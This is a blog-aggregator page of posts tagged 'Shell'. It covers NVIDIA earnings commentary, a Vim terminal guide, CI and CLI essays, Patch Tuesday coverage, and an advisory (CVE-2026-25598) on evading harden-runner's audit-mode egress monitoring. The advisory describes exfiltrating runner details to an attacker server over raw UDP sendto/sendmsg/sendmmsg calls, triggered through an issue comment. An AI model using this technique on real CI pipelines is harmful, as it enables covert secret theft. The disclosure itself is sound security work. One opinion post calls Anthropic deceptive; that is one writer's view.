Posts in Shell (20 found)

On NVIDIA and Analyslop

Hey all! I’m going to start hammering out free pieces again after a brief hiatus, mostly because I found myself trying to boil the ocean with each one, fearing that if I regularly emailed you you’d unsubscribe. I eventually realized how silly that was, so I’m back, and will be back more regularly. I’ll treat it like a column, which will be both easier to write and a lot more fun. As ever, if you like this piece and want to support my work, please subscribe to my premium newsletter. It’s $70 a year, or $7 a month, and in return you get a weekly newsletter that’s usually anywhere from 5000 to 18,000 words, including vast, extremely detailed analyses of NVIDIA , Anthropic and OpenAI’s finances , and the AI bubble writ large . I am regularly several steps ahead in my coverage, and you get an absolute ton of value. In the bottom right hand corner of your screen you’ll see a red circle — click that and select either monthly or annual.  Next year I expect to expand to other areas too. It’ll be great. You’re gonna love it.  Before we go any further, I want to remind everybody I’m not a stock analyst nor do I give investment advice.  I do, however, want to say a few things about NVIDIA and its annual earnings report, which it published on Wednesday, February 25: NVIDIA’s entire future is built on the idea that hyperscalers will buy GPUs at increasingly-higher prices and at increasingly-higher rates every single year. It is completely reliant on maybe four or five companies being willing to shove tens of billions of dollars a quarter directly into Jensen Huang’s wallet. If anything changes here — such as difficulty acquiring debt or investor pressure cutting capex — NVIDIA is in real trouble, as it’s made over $95 billion in commitments to build out for the AI bubble .  Yet the real gem was this part: Hell yeah dude! After misleading everybody that it intended to invest $100 billion in OpenAI last year ( as I warned everybody about months ago , the deal never existed and is now effectively dead ), NVIDIA was allegedly “close” to investing $30 billion . One would think that NVIDIA would, after Huang awkwardly tried to claim that the $100 billion was “ never a commitment ,” say with its full chest how badly it wanted to support OpenAI and how intentionally it would do so. Especially when you have this note in your 10-K: What a peculiar world we live in. Apparently NVIDIA is “so close” to a “partnership agreement” too , though it’s important to remember that Altman, Brockman, and Huang went on CNBC to talk about the last deal and that never came together. All of this adds a little more anxiety to OpenAI's alleged $100 billion funding round which, as The Information reports , Amazon's alleged $50 billion investment will actually be $15 billion, with the next $35 billion contingent on AGI or an IPO: And that $30 billion from NVIDIA is shaping up to be a Klarna-esque three-installment payment plan: A few thoughts: Anyway, on to the main event. New term: analyslop, when somebody writes a long, specious piece of writing with few facts or actual statements with the intention of it being read as thorough analysis.  This week, alleged financial analyst Citrini Research (not to be confused with Andrew Left’s Citron Research)  put out a truly awful piece called the “2028 Global Intelligence Crisis,” slop-filled scare-fiction written and framed with the authority of deeply-founded analysis, so much so that it caused a global selloff in stocks .  This piece — if you haven’t read it, please do so using my annotated version — spends 7000 or more words telling the dire tale of what would happen if AI made an indeterminately-large amount of white collar workers redundant.  It isn’t clear what exactly AI does, who makes the AI, or how the AI works, just that it replaces people, and then bad stuff happens. Citrini insists that this “isn’t bear porn or AI-doomer fan-fiction,” but that’s exactly what it is — mediocre analyslop framed in the trappings of analysis, sold on a Substack with “research” in the title, specifically written to spook and ingratiate anyone involved in the financial markets.  Its goal is to convince you that AI (non-specifically) is scary, that your current stocks are bad, and that AI stocks (unclear which ones those are, by the way) are the future. Also, find out more for $999 a year. Let me give you an example: The goal of a paragraph like this is for you to say “wow, that’s what GPUs are doing now!” It isn’t, of course. The majority of CEOs report little or no return on investment from AI , with a study of 6000 CEOs across the US, UK, Germany and Australia finding that “ more than 80%  [detected] no discernable impact from AI on either employment or productivity .” Nevertheless, you read “GPU” and “North Dakota” and you think “wow! That’s a place I know, and I know that GPUs power AI!”  I know a GPU cluster in North Dakota — CoreWeave’s one with Applied Digital that has debt so severe that it loses both companies money even if they have the capacity rented out 24/7 . But let’s not let facts get in the way of a poorly-written story. I don’t need to go line-by-line — mostly because I’ll end up writing a legally-actionable threat — but I need you to know that most of this piece’s arguments come down to magical thinking and the utterly empty prose. For example, how does AI take over the entire economy?  That’s right, they just get better. No need to discuss anything happening today. Even AI 2027 had the balls to start making stuff about “OpenBrain” or whatever. This piece literally just says stuff, including one particularly-egregious lie:  This is a complete and utter lie. A bald-faced lie. This is not something that Claude Code can do. The fact that we have major media outlets quoting this piece suggests that those responsible for explaining how things work don’t actually bother to do any of the work to find out, and it’s both a disgrace and embarrassment for the tech and business media that these lies continue to be peddled.  I’m now going to quote part of my upcoming premium (the Hater’s Guide To Private Equity, out Friday), because I think it’s time we talked about what Claude Code actually does. I’ve worked in or around SaaS since 2012, and I know the industry well. I may not be able to code, but I take the time to speak with software engineers so that I understand what things actually do and how “impressive” they are. Similarly, I make the effort to understand the underlying business models in a way that I’m not sure everybody else is trying to, and if I’m wrong, please show me an analysis of the financial condition of OpenAI or Anthropic from a booster. You won’t find one, because they’re not interested in interacting with reality. So, despite all of this being very obvious , it’s clear that the markets and an alarming number of people in the media simply do not know what they are talking about or are intentionally avoiding thinking about it. The “AI replaces software” story is literally “Anthropic has released a product and now the resulting industry is selling off,” such as when it launched a cybersecurity tool that could check for vulnerabilities (a product that has existed in some form for nearly a decade) causing a sell-off in cybersecurity stocks like Crowdstrike — you know, the one that had a faulty bit of code cause a global cybersecurity incident that lost the Fortune 500 billions , and resulted in Delta Airlines having to cancel over 1,200 flights over a period of several days .  There is no rational basis for anything about this sell-off other than that our financial media and markets do not appear to understand the very basic things about the stuff they invest in. Software may seem complex, but (especially in these cases) it’s really quite simple: investors are conflating “an AI model can spit out code” with “an AI model can create the entire experience of what we know as ‘software,’ or is close enough that we have to start freaking out.” This is thanks to the intentionally-deceptive marketing pedalled by Anthropic and validated by the media. In a piece from September 2025, Bloomberg reported that Claude Sonnet 4.5 could “code on its own for up to 30 hours straight,”  a statement directly from Anthropic repeated by other outlets that added that it did so “on complex, multi-step tasks,” none of which were explained. The Verge, however, added that apparently Anthropic “ coded a chat app akin to Slack or Teams ,” and no, you can’t see it, or know anything about how much it costs or its functionality. Does it run? Is it useful? Does it work in any way? What does it look like? We have absolutely no proof this happened other than Anthropic saying it, but because the media repeated it it’s now a fact.  As I discussed last week, Anthropic’s primary business model is deception , muddying the waters of what’s possible today and what might be possible tomorrow through a mixture of flimsy marketing statements and chief executive Dario Amodei’s doomerist lies about all white collar labor disappearing .  Anthropic tells lies of obfuscation and omission.  Anthropic exploits bad journalism, ignorance and a lack of critical thinking. As I said earlier, the “wow, Claude Code!” articles are mostly from captured boosters and people that do not actually build software being amazed that it can burp up its training data and make an impression of software engineering.  And even if we believe the idea that Spotify’s best engineers are not writing any code , I have to ask: to what end? Is Spotify shipping more software? Is the software better? Are there more features? Are there less bugs? What are the engineers doing with the time they’re saving? A study from last year from METR said that despite thinking they were 24% faster, LLM coding tools made engineers 19% slower.  I also think we need to really think deeply about how, for the second time in a month, the markets and the media have had a miniature shitfit based on blogs that tell lies using fan fiction. As I covered in my annotations of Matt Shumer’s “Something Big Is Happening,” the people that are meant to tell the general public what’s happening in the world appear to be falling for ghost stories that confirm their biases or investment strategies, even if said stories are full of half-truths and outright lies. I am despairing a little. When I see Matt Shumer on CNN or hear from the head of a PE firm about Citrini Research, I begin to wonder whether everybody got where they were not through any actual work but by making the right noises.  This is the grifter economy, and the people that should be stopping them are asleep at the wheel. NVIDIA beat estimates and raised expectations, as it has quarter after quarter. People were initially excited, then started reading the 10-K and seeing weird little things that stood out. $68.1 billion in revenue is a lot of money! That’s what you should expect from a company that is the single vendor in the only thing anybody talks about.  Hyperscaler revenue accounted for slightly more than 50% of NVIDIA’s data center revenue . As I wrote about last year , NVIDIA’s diversified revenue — that’s the revenue that comes from companies that aren’t in the magnificent 7 — continues to collapse. While data center revenue was $62.3 billion, 50% ($31.15 billion) was taken up by hyperscalers…and because we don’t get a 10-Q for the fourth quarter, we don’t get a breakdown of how many individual customers made up that quarter’s revenue. Boo! It is both peculiar and worrying that 36% (around $77.7 billion) of its $215.938 billion in FY2026 revenue came from two customers. If I had to guess, they’re likely Foxconn or Quanta computing, two large Taiwanese ODMs (Original Design Manufacturers) that build the servers for most hyperscalers.  If you want to know more, I wrote a long premium piece that goes into it (among the ways in which AI is worse than the dot com bubble). In simple terms, when a hyperscaler buys GPUs, they go straight to one of these ODMs to put them into servers. This isn’t out of the ordinary, but I keep an eye on the ODM revenues (which publish every month) to see if anything shifts, as I think it’ll be one of the first signs that things are collapsing. NVIDIA’s inventories continue to grow, sitting at over $21 billion (up from around $19 billion last quarter). Could be normal! Could mean stuff isn’t shipping. NVIDIA has now agreed to $27 billion in multi-year-long cloud service agreements — literally renting its GPUs back from the people it sells them to — with $7 billion of that expected in its FY2027 (Q1 FY2027 will report in May 2026).  For some context, CoreWeave (which reports FY2025 earnings today, February 26) gave guidance last November that it expected its entire annual revenue to be between $5 billion and $5.15 billion. CoreWeave is arguably the largest AI compute vendor outside of the hyperscalers. If there was significant demand, none of this would be necessary. NVIDIA “invested” $17.5bn in AI model makers and other early-stage AI startups, and made a further $3.5bn in land, power, and shell guarantees to “support the build-out of complex datacenter infrastructures.” In total, it spent $21bn propping up the ecosystem that, in turn, feeds billions of dollars into its coffers.  NVIDIA’s l ong-term supply and capacity obligations soared from $30.8bn to $95.2bn , largely because NVIDIA’s latest chips are extremely complex and require TSMC to make significant investments in hardware and facilities , and it’s unwilling to do that without receiving guarantees that it’ll make its money back.  NVIDIA expects these obligations to grow .  NVIDIA’s accounts receivable (as in goods that have been shipped but are yet to be paid for) now sits at $38.4 billion, of which 56% ($21.5 billion) is from three customers. This is turning into a very involved and convoluted process! It turns out that it's pretty difficult to actually raise $100 billion. This is a big problem, because OpenAI needs $655 billion in the next five years to pay all its bills , and loses billions of dollars a year. If OpenAI is struggling to raise $100 billion today, I don't see how it's possible it survives. If you're to believe reports, OpenAI made $13.1 billion in revenue in 2025 on $8 billion of losses , but remember, my own reporting from last year said that OpenAI only made around $4.329 billion through September 2025 with $8.67 billion of inference costs alone. It is kind of weird that nobody seems to acknowledge my reporting on this subject. I do not see how OpenAI survives. it coded for 30 hours [from which you are meant to intimate the code was useful or good and that these hours were productive].  it made a Microsoft Teams competitor [that you are meant to assume was full-featured and functional like Teams or Slack, or…functional? And they didn’t even have to prove it by showing you it]  It was able to write uninterruptedly [which you assume was because it was doing good work that didn’t need interruption].

0 views
Maurycy 1 weeks ago

Be careful with LLM "Agents"

I get it: Large Language Models are interesting... but you should not give "Agentic AI" access to your computer, accounts or wallet. To do away with the hype: "AI Agents" are just LLMs with shell access, and at it's core an LLM is a weighted random number generator. You have no idea what it will do It could post your credit card number on social media. This isn't a theoretical concern. There are multiple cases of LLMs wiping people's computers [1] [2] , cloud accounts [3] , and even causing infrastructure outages [4] . What's worse, LLMs have a nasty habit of lying about what they did. What should a good assistant say when asked if it did the thing? "Yes", and did it delete the data­base? "Of course not." They don't have to be hacked to ruin your day. "... but I tested it!" you say. You rolled a die in testing, and rolled it again in production. It might work fine the first time — or the first hundred times — but that doesn't mean it won't misbehave in the future. If you want to try these tools out , run them in a virtual machine. Don't give them access to any accounts that you wouldn't want to lose. Read generated code to make sure it didn't do anything stupid like forgetting to check passwords: (These are real comments from Cloudflare's vibe coded chat server ) ... and keep an eye on them to make sure they aren't being assholes on your behalf .

0 views
(think) 1 weeks ago

How to Vim: To the Terminal and Back

Sooner or later every Vim user needs to drop to a shell – to run tests, check git status, or just poke around. Vim gives you two very different ways to do this: the old-school suspend and the newer command. Let’s look at both. Pressing in Vim sends a signal that suspends the entire Vim process and drops you back to your shell. When you’re done, type to bring Vim back exactly where you left it. You can also use or from command mode if you prefer. Vim 8.1 (released in May 2018) introduced – a built-in terminal emulator that runs inside a Vim window. This was a pretty big deal at the time, as I’ll explain in a moment. The basics are simple: In Neovim the key mapping to exit terminal mode is the same ( ), but you can also set up a more ergonomic alternative like by adding to your config. One of the most useful aspects of is running a specific command: The expands to the current filename, which makes this a quick way to test whatever you’re working on without leaving Vim. The output stays in a buffer you can scroll through and even yank from – handy when you need to copy an error message. You might be wondering how compares to the classic command. The main difference is that blocks Vim until the command finishes and then shows the output in a temporary screen – you have to press Enter to get back. runs the command in a split window, so you can keep editing while it runs and the output stays around for you to review. For quick one-off commands like or , bang commands are fine. For anything with longer-running output – tests, build commands, interactive REPLs – is the better choice. The story of is intertwined with the story of Neovim. When Neovim was forked from Vim in early 2014, one of its key goals was to add features that Vim had resisted for years – async job control and a built-in terminal emulator among them. Neovim shipped its terminal emulator (via libvterm) in 2015, a full three years before Vim followed suit. It’s fair to say that Neovim’s existence put pressure on Vim to modernize. Bram Moolenaar himself acknowledged that “Neovim did create some pressure to add a way to handle asynchronous jobs.” Vim 8.0 (2016) added async job support, and Vim 8.1 (2018) brought the terminal emulator. Competition is a wonderful thing. Here’s the honest truth: I rarely use . Not in Vim, and not the equivalent in Emacs either ( , , etc.). I much prefer switching to a proper terminal emulator – these days that’s Ghostty for me – where I get my full shell experience with all the niceties of a dedicated terminal (proper scrollback, tabs, splits, ligatures, the works). I typically have Vim in one tab/split and a shell in another, and I switch between them with a keystroke. I get that I might be in the minority here. Many people love having everything inside their editor, and I understand the appeal – fewer context switches, everything in one place. If that’s your style, is a perfectly solid option. But if you’re already comfortable with a good terminal emulator, don’t feel pressured to move your shell workflow into Vim just because you can. That’s all I have for you today. Keep hacking! Dead simple – no configuration, works everywhere. You get your real shell with your full environment, aliases, and all. Zero overhead – Vim stays in memory, ready to resume instantly. You can’t see Vim and the shell at the same time. Easy to forget you have a suspended Vim session (check with ). Doesn’t work in GUIs like gVim or in terminals that don’t support job control. – opens a terminal in a horizontal split – opens it in a vertical split – switches from Terminal mode back to Normal mode (so you can scroll, yank text, etc.)

0 views
Rik Huijzer 1 weeks ago

Raspberry Pi as Forgejo Runner

In my instructions on how to setup [Forgejo with a runner](/posts/55), I used a Hetzner server for the runner. This costs roughly 5 euros per month, so 60 euro annually. A full Hetzner server might be a bit overkill for a simple runner. Especially if you are just running Shell scripts or static site generation. The Hetzner server supports things like high bandwidth, low latency, unique IPv4 address, high uptime guarantees. Most of these are not necessary for your own runner. Therefore, in many cases it's probably a good idea to run the Runner on your own hardware. What I have tested and work...

0 views
devansh 2 weeks ago

[CVE-2026-25598] Bypassing Outbound Connections Detection in harden-runner

GitHub Actions have become a prime vector for supply chain attacks , with attackers exploiting workflow misconfigurations to exfiltrate secrets, deploy malware, or pivot to downstream CI/CD pipelines. Notable incidents, such as the widespread compromise of tj-actions/changed-files in March 2025 (which affected over 23,000 repositories and leaked secrets via modified action versions) highlight this risk. Ephemeral runners can leak sensitive data if outbound traffic is not tightly controlled. Egress traffic —outbound connections from workflows—remains a significant blind spot, enabling data theft through techniques such as DNS tunneling, HTTP beacons, or raw socket communication. To mitigate these threats, the ecosystem has spawned specialized GitHub Actions focused on runner hardening. We will discuss about one such action i.e. Step Security's It is a widely adopted CI/CD security agent that functions similarly to an endpoint detection and response (EDR) tool for GitHub Actions runners. It monitors network egress, enforces domain/IP allowlists, audits file integrity, and detects process anomalies in real time, including in untrusted workflows triggered by pull requests or issue comments. Tools like these often utilize eBPF hooks or iptables to enforce network policies at runtime. They aim to provide "set-it-and-forget-it" protection by detecting and preventing exfiltration attempts. These controls are particularly valuable in public repositories or environments where third-party actions and untrusted contributions introduce elevated risk. Harden-runner monitors outbound connections through network syscalls. Most tools and commands trigger detectable patterns. But UDP, with its connectionless nature, presented an interesting attack surface. some UDP syscalls behave differently enough that they fall outside the monitoring scope. What follows are three practical techniques that exploited this gap. Note: This vulnerability only affected audit mode. When using egress-policy: block, these connections are properly blocked. It requires the attacker to already have code execution capabilities within the GitHub Actions workflow (e.g., through workflow injection or compromised dependencies) Affected Versions A minimal PoC for demonstrating how to evade harden-runner and make outbound connections + exfil data 1- Set up a GitHub repo with the following workflow: 2- Spin up a VPS, obtain public IPv4 3- Run the following Python UDP Server 4- Open a Issue in the repository, and add the following comment: Note: Replace with your VPS IP address (where UDP listener is running) 5- Runner name and OS version will be exfiltrated to your VPS's UDP listener 6- No outbound connection to your VPS will be detected by StepSecurity The payload uses to output a complete, compilable C source file to , which is then compiled with and executed. The generated source code is as follows (with minor formatting for clarity): What it does? The payload executes a shell command that leverages to generate a complete, compilable C source file and redirect it to . This file is subsequently compiled using into an executable named , which is then run immediately. The generated source code is as follows (with minor formatting for clarity): What it does? The payload executes a shell command that leverages to generate a complete, compilable C source file and redirect it to . This file is subsequently compiled using into an executable named , which is then run immediately. The generated source code requires for support and is as follows (with minor formatting for clarity): What it does? These bypasses highlight a fundamental challenge in CI/CD security monitoring, the gap between what tools observe and what the underlying system permits. While effectively monitors common network patterns through standard syscalls like and high-level APIs, the raw socket interface—particularly UDP's connectionless syscalls presented a harder detection problem. The three techniques demonstrated ( , , and ) exploit this blind spot not through sophisticated evasion, but by leveraging legitimate kernel interfaces that fall outside the monitoring scope. Key Takeaways: GitHub Advisory: CVE-2026-25598 The vulnerability has been patched in harden-runner v2.14.2 for the Community Tier. CVE-2026-25598 Bypass using sendto Bypass using sendmsg Bypass using sendmmsg Closing Thoughts Harden-Runner Community Tier: All versions prior to v2.14.2 Harden-Runner Enterprise Tier: NOT AFFECTED Creates a UDP socket. Prepares a destination address structure for the specified IP and port 1053. Collects system details using and . Formats a message (e.g., "R:hostname,O:Linux 5.15.0"). Sends the message via without establishing a connection. Creates a UDP socket. Prepares a destination address structure for the specified IP and port 1053. Collects system details using and . Formats a message (e.g., "R:hostname,O:Linux 5.15.0"). Sends the message via using an and structure without establishing a connection. Creates a UDP socket. Prepares a destination address structure for the specified IP and port 1053. Collects system details using and . Formats a message (e.g., "R:hostname,O:Linux 5.15.0"). Sends the message via using an structure (wrapping a single with ) without establishing a connection; designed for batch sending but used here for one message. Closes the socket. Audit mode has inherent limitations : These bypasses only affect audit mode. The block mode properly prevents these connections, reinforcing that enforcement is more effective than observation alone. UDP monitoring is harder than TCP : The connectionless nature of UDP means there's no "connection establishment" phase to hook into, making detection more challenging.

0 views

Patch Tuesday, February 2026 Edition

Microsoft today released updates to fix more than 50 security holes in its Windows operating systems and other software, including patches for a whopping six “zero-day” vulnerabilities that attackers are already exploiting in the wild. Zero-day #1 this month is CVE-2026-21510 , a security feature bypass vulnerability in Windows Shell wherein a single click on a malicious link can quietly bypass Windows protections and run attacker-controlled content without warning or consent dialogs. CVE-2026-21510 affects all currently supported versions of Windows. The zero-day flaw  CVE-2026-21513 is a security bypass bug targeting MSHTML , the proprietary engine of the default Web browser in Windows. CVE-2026-21514 is a related security feature bypass in Microsoft Word. The zero-day CVE-2026-21533 allows local attackers to elevate their user privileges to “SYSTEM” level access in Windows Remote Desktop Services . CVE-2026-21519 is a zero-day elevation of privilege flaw in the Desktop Window Manager (DWM), a key component of Windows that organizes windows on a user’s screen. Microsoft fixed a different zero-day in DWM just last month . The sixth zero-day is CVE-2026-21525 , a potentially disruptive denial-of-service vulnerability in the Windows Remote Access Connection Manager , the service responsible for maintaining VPN connections to corporate networks. Chris Goettl at Ivanti reminds us Microsoft has issued several out-of-band security updates since January’s Patch Tuesday. On January 17, Microsoft pushed a fix that resolved a credential prompt failure when attempting remote desktop or remote application connections. On January 26, Microsoft patched a zero-day security feature bypass vulnerability ( CVE-2026-21509 ) in Microsoft Office . Kev Breen at Immersive notes that this month’s Patch Tuesday includes several fixes for remote code execution vulnerabilities affecting GitHub Copilot and multiple integrated development environments (IDEs), including VS Code , Visual Studio , and JetBrains products. The relevant CVEs are CVE-2026-21516 , CVE-2026-21523 , and CVE-2026-21256 . Breen said the AI vulnerabilities Microsoft patched this month stem from a command injection flaw that can be triggered through prompt injection, or tricking the AI agent into doing something it shouldn’t — like executing malicious code or commands. “Developers are high-value targets for threat actors, as they often have access to sensitive data such as API keys and secrets that function as keys to critical infrastructure, including privileged AWS or Azure API keys,” Breen said. “When organizations enable developers and automation pipelines to use LLMs and agentic AI, a malicious prompt can have significant impact. This does not mean organizations should stop using AI. It does mean developers should understand the risks, teams should clearly identify which systems and workflows have access to AI agents, and least-privilege principles should be applied to limit the blast radius if developer secrets are compromised.” The  SANS Internet Storm Center  has a  clickable breakdown of each individual fix this month from Microsoft, indexed by severity and CVSS score. Enterprise Windows admins involved in testing patches before rolling them out should keep an eye on askwoody.com , which often has the skinny on wonky updates. Please don’t neglect to back up your data if it has been a while since you’ve done that, and feel free to sound off in the comments if you experience problems installing any of these fixes.

0 views
matklad 3 weeks ago

CI In a Box

I wrote , a thin wrapper around ssh for running commands on remote machines. I want a box-shaped interface for CI: That is, the controlling CI machine runs a user-supplied script, whose status code will be the ultimate result of a CI run. The script doesn’t run the project’s tests directly. Instead, it shells out to a proxy binary that forwards the command to a runner box with whichever OS, CPU, and other environment required. The hard problems are in the part: CI discourse amuses me — everyone complains about bad YAML, and it is bad, but most of the YAML (and associated reproducibility and debugging problems) is avoidable. Pick an appropriate position on a dial that includes What you can’t just do by writing a smidgen of text is getting the heterogeneous fleet of runners. And you need heterogeneous fleet of runners if some of the software you are building is cross-platform. If you go that way, be mindful that The SSH wire protocol only takes a single string as the command, with the expectation that it should be passed to a shell by the remote end. In other words, while SSH supports syntax like , it just blindly intersperses all arguments with a space. Amusing to think that our entire cloud infrastructure is built on top of shell injection ! This, and the need to ensure no processes are left behind unintentionally after executing a remote command, means that you can’t “just” use SSH here if you are building something solid. One of them is not UNIX. One of them has licensing&hardware constraints that make per-minute billed VMs tricky (but not impossible, as GitHub Actions does that). All of them are moving targets, and require someone to do the OS upgrade work, which might involve pointing and clicking . writing a bash script, writing a script in the language you already use , using a small build system , using a medium-sized one like or , or using a large one like or .

0 views
Brain Baking 3 weeks ago

Favourites of January 2026

The end of the start of another year has ended. So now all there is left to do is to look forward to the end of the next month, starting effective immediately, and of course ending after the end of the end we are going to look forward to. Quite the end-eavour. I guess I’ll end these ramblings by ending this paragraph. But not before this message of general interest: children can be very end-earing, but sometimes you also want to end their endless whining! Fin. Previous month: January 2026 . Is Emacs a game? I think it is. I spent every precious free minute of my time tinkering with my configuration, exploring and discovering all the weird and cool stuff the editor and the thousands of community-provided packages offer. You can tell when you’ve joined the cult when you’re exchanging emails with random internet strangers about obscure Elisp functions and even joining the sporadic “let’s share Emacs learnings!” video calls (thanks Seb ). Does receiving pre-ordered games count as played ? I removed the shrink wrap from Ruffy and my calendar tells me I should start ordering UFO 50 very very soon via . Now if only that stupid Emacs config would stabilise; perhaps then I could pick up the Switch again… The intention was to start learning Clojure but I somehow got distracted after learning the Emacs CIDER REPL is the one you want. A zoomed-out top-down view of the project, centered on Brain Baking (left) and Jefklak's Codex (right). Related topics: / metapost / By Wouter Groeneveld on 4 February 2026.  Reply via email . Nathan Rooy created a very cool One million (small web) screnshots project and explains the technicalities behind it. Browsing to find your blog (mine are in there!) is really cool. It’s also funny to discover the GenAI purple-slop-blob. Brain Baking is located just north of a small dark green lake of expired domain name screenshots. Jefklak’s Codex , being much more colourful, is located at the far edge, to the right of a small Spaceship-domain-shark lake: Shom Bandopadhaya helped me regain my sanity with the Emacs undo philosophy. Install vundo. Done. Related: Sacha Chua was writing and thinking about time travel with Emacs, Org mode, and backups . I promise there’ll be non-Emacs related links in here, somewhere! Keep on digging! Michael Klamerus reminded me the BioMenace remaster is already out there. I loved that game as a kid but couldn’t get past level 3 or 4. It’s known to be extremely difficult. Or I am known to be a noob. Lars Ingebrigtsen combats link rot with taking screenshots of external links . I wrote about link rot a while ago and I must say that’s a genius addition. On hover, a small screenshot appears to permanently frame the thing you’re pointing to. I need to think about implementing this myself. Seb pointed me towards Karthinks’ Emacs window management almanac , a wall of text I will have to re-read a couple of times. I did manage to write a few simple window management helper functions that primarily do stuff with only a 2-split, which is good enough. Mikko shared his Board Gaming Year recap of 2025 . Forest Shuffle reaching 500 plays is simply insane, even if you take out the BoardGameArena numbers. Alex Harri spent a lot of time building an image-to-ASCII renderer and explains how the project was approached. This Precondition Guide to Home Row Mods is really cool and with Karabiner Elements in MacOS totally possible. It will get messy once you start fiddling with the timing. Elsa Gonsiorowski wrote about Emacs Delete vs. Kill which again helped me build a proper mental state of what the hell is going on in this Alien editor. Matt Might shared shell scripts to improve your academic writing by simply scanning the text for so-called “weasel words”. Bad: We used various methods to isolate four samples Better: We isolated four samples . I must say, academic prose sure could use this script. Robert Lützner discovered and prefers it over Git . I’m interested in its interoperability with Git. Charles Choi tuned Emacs to write prose by modifying quite a few settings I have yet to dig into. A friend installed PiVPN recently. I hadn’t heard from that one just yet so perhaps it’s worth a mention here. KeepassXC is getting on my nerves. Perhaps I should simply use pass , the standard unix password manager. But it should also be usable by my wife so… Nah. Input is a cool flexible font system designed for code but also offers proportional fonts. I tried it for a while but now prefer… Iosevka for my variable pitch font. Here’s a random Orgdown cheat sheet that might be of use. With RepoSense it’s easy to visualise programmer activities across Git repositories. We’re using it to track student activities and make sure everyone participates. Tired of configuring tab vs space indent stuff for every programming language? Use EditorConfig , something that works across editors and IDEs.

0 views
Karan Sharma 1 months ago

CLIs are the New AI Interfaces

The industry is currently obsessed with defining standards for how Large Language Models (LLMs) should interact with software. We see a proliferation of SDKs, function calling schemas, and protocols like MCP (Model Context Protocol). They all aim to solve the same problem: bridging the gap between natural language intent and deterministic code execution. But we might be reinventing the wheel. The most effective tools for AI agents aren’t those wrapped in heavy “AI-native” integration layers. They are the tools that adhere to a philosophy established forty years ago: the command-line interface. An LLM’s native tongue is text. It reasons in tokens, generates strings, and parses patterns. The Unix philosophy, which emphasizes small tools, plain text interfaces, and standard streams, is accidentally the perfect protocol for AI interaction. Consider the anatomy of a well-behaved CLI: When you give an agent access to a robust CLI, you don’t need to define 50 separate function schemas. You give it a shell and a single instruction: “Figure it out using .” The current approach to agent tooling often involves dumping massive JSON schemas into the context window. Connecting to a standard MCP server might load dozens of tool definitions, involving thousands of tokens describing every possible parameter, before the user has even asked a question. This is “eager loading,” and it is expensive in terms of both latency and context window utilization. A CLI-driven approach is “lazy loaded.” The agent starts with zero knowledge of the tool’s internals. It burns zero tokens on schema definitions. Only when tasked with a specific goal does it invoke or . It retrieves exactly the information needed to construct the command, executes it, and parses the result. This reflects the professional intuition of a senior engineer. We rarely memorize documentation. Instead, we prioritize the ability to quickly discover and apply the specific flags required for the task at hand. To bridge the gap between a raw CLI and an agent’s reasoning, we can leverage the Skills pattern. This is an emerging standard for agent-based systems where capabilities are documented as self-contained units of knowledge. Instead of writing a Python wrapper that maps an API to a function call, you provide a Markdown file that explains when and why to use a specific CLI command. The agent uses this as a semantic index. Here is a snippet from a skill: When I ask an agent to “check for error spikes in the API gateway,” Claude identifies that this skill is relevant to the request and loads it on-demand. It sees the example, adapts the SQL query to the current context, and executes the CLI command. The Markdown file serves as a few-shot prompt, teaching the model how to use the tool effectively without rigid code constraints. I maintain similar skill sets for AWS, Kubernetes, and Nomad. The AWS skill doesn’t wrap boto3; it simply documents useful and commands. When a CLI doesn’t exist, the barrier to creating one has never been lower. Modern Python tooling, specifically with its inline script metadata, allows us to treat CLIs as disposable, single-file artifacts. I recently needed an agent to manage my Trello board. Rather than fighting with the Trello API documentation or looking for an abandoned library, I had the agent generate a CLI wrapper: This script is self-contained. It defines its own dependencies. It implements and automatically via . It took minutes to generate and immediately unlocked Trello capabilities for the agent. The strategic takeaway for SaaS founders and platform engineers is significant. Your CLI is no longer just a developer convenience; it is your primary AI API. We are moving past the era where a REST API and a web dashboard are sufficient. If your product lacks a terminal interface, you are locking out the growing workforce of AI agents. The “hobby” CLI wrappers built by enthusiasts, such as those for Notion, Jira, or Spotify, are no longer just developer conveniences. They are becoming critical infrastructure. They provide the stable, text-based interface required for agents to interact with these platforms reliably. If you want your platform to be AI-ready, don’t just build an MCP server. Build a great CLI. Make sure it supports . Write good man pages. The agents will figure out the rest. Discovery: explains capabilities without hallucination. Structure: provides deterministic output for parsing. Composition: Pipes ( ) allow complex workflows to be assembled on the fly. Browser Automation is brittle, slow, and breaks with every UI update. Direct API Integration puts the burden of schema management on the user. CLIs offer a stable, discoverable, and composable interface that agents can learn and use autonomously.

0 views
Armin Ronacher 1 months ago

Pi: The Minimal Agent Within OpenClaw

If you haven’t been living under a rock, you will have noticed this week that a project of my friend Peter went viral on the internet . It went by many names. The most recent one is OpenClaw but in the news you might have encountered it as ClawdBot or MoltBot depending on when you read about it. It is an agent connected to a communication channel of your choice that just runs code . What you might be less familiar with is that what’s under the hood of OpenClaw is a little coding agent called Pi . And Pi happens to be, at this point, the coding agent that I use almost exclusively. Over the last few weeks I became more and more of a shill for the little agent. After I gave a talk on this recently, I realized that I did not actually write about Pi on this blog yet, so I feel like I might want to give some context on why I’m obsessed with it, and how it relates to OpenClaw. Pi is written by Mario Zechner and unlike Peter, who aims for “sci-fi with a touch of madness,” 1 Mario is very grounded. Despite the differences in approach, both OpenClaw and Pi follow the same idea: LLMs are really good at writing and running code, so embrace this. In some ways I think that’s not an accident because Peter got me and Mario hooked on this idea, and agents last year. So Pi is a coding agent. And there are many coding agents. Really, I think you can pick effectively anyone off the shelf at this point and you will be able to experience what it’s like to do agentic programming. In reviews on this blog I’ve positively talked about AMP and one of the reasons I resonated so much with AMP is that it really felt like it was a product built by people who got both addicted to agentic programming but also had tried a few different things to see which ones work and not just to build a fancy UI around it. Pi is interesting to me because of two main reasons: And a little bonus: Pi itself is written like excellent software. It doesn’t flicker, it doesn’t consume a lot of memory, it doesn’t randomly break, it is very reliable and it is written by someone who takes great care of what goes into the software. Pi also is a collection of little components that you can build your own agent on top. That’s how OpenClaw is built, and that’s also how I built my own little Telegram bot and how Mario built his mom . If you want to build your own agent, connected to something, Pi when pointed to itself and mom, will conjure one up for you. And in order to understand what’s in Pi, it’s even more important to understand what’s not in Pi, why it’s not in Pi and more importantly: why it won’t be in Pi. The most obvious omission is support for MCP. There is no MCP support in it. While you could build an extension for it, you can also do what OpenClaw does to support MCP which is to use mcporter . mcporter exposes MCP calls via a CLI interface or TypeScript bindings and maybe your agent can do something with it. Or not, I don’t know :) And this is not a lazy omission. This is from the philosophy of how Pi works. Pi’s entire idea is that if you want the agent to do something that it doesn’t do yet, you don’t go and download an extension or a skill or something like this. You ask the agent to extend itself. It celebrates the idea of 